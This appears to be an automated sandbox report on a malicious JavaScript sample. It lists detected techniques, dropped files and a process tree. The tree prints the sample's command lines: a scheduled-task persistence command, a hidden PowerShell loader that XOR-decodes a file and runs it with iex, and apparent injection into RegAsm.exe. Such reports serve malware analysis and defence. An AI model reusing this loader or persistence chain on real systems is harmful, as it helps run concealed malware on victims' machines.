Analysis
- max time kernel
179s - max time network
179s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
07/08/2026, 20:18
General
- Target 079927896b10191f3c8f9ea069e6784a2dc8f42b6aa6d121aeb7698a26088349.js
- Size 2.9MB
- Sample260807-y3anhsshka
- SHA256 079927896b10191f3c8f9ea069e6784a2dc8f42b6aa6d121aeb7698a26088349
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\079927896b10191f3c8f9ea069e6784a2dc8f42b6aa6d121aeb7698a26088349.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "PhotoStudioJS" /xml "C:\Users\Admin\AppData\Local\Temp\Task_32173.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\svc_91758_86b2').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\svc_91758_86b2' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0xA5};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};iex $sc"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5gzgo2m3\5gzgo2m3.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB39B.tmp" "c:\Users\Admin\AppData\Local\Temp\5gzgo2m3\CSC818ADE33CE764544B621D8ED27735A67.TMP"4⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wscript.exewscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
5gzgo2m3.dll
RESB39B.tmp
Task_32173.xml
__PSScriptPolicyTest_f21w5dgg.lqs.ps1
svc_91758_86b2
5gzgo2m3.0.cs
5gzgo2m3.cmdline
CSC818ADE33CE764544B621D8ED27735A67.TMP
memory/1288-39-0x0000000000400000-0x00000000004AA000-memory.dmp
memory/1288-43-0x0000000005670000-0x000000000572E000-memory.dmp
memory/1288-42-0x0000000005510000-0x0000000005564000-memory.dmp
memory/2424-9-0x0000000005590000-0x00000000055F6000-memory.dmp
memory/2424-7-0x0000000004DF0000-0x0000000004E12000-memory.dmp
memory/2424-23-0x0000000006250000-0x0000000006272000-memory.dmp
memory/2424-24-0x0000000007360000-0x0000000007904000-memory.dmp
memory/2424-25-0x0000000007F90000-0x000000000860A000-memory.dmp
memory/2424-18-0x0000000005CB0000-0x0000000005CCE000-memory.dmp
memory/2424-8-0x0000000005520000-0x0000000005586000-memory.dmp
memory/2424-21-0x0000000006C80000-0x0000000006D16000-memory.dmp
memory/2424-6-0x0000000004E80000-0x00000000054A8000-memory.dmp
memory/2424-5-0x00000000046F0000-0x0000000004726000-memory.dmp
memory/2424-38-0x0000000007130000-0x0000000007138000-memory.dmp
memory/2424-22-0x00000000061D0000-0x00000000061EA000-memory.dmp
memory/2424-17-0x00000000056B0000-0x0000000005A04000-memory.dmp
memory/2424-19-0x0000000005D00000-0x0000000005D4C000-memory.dmp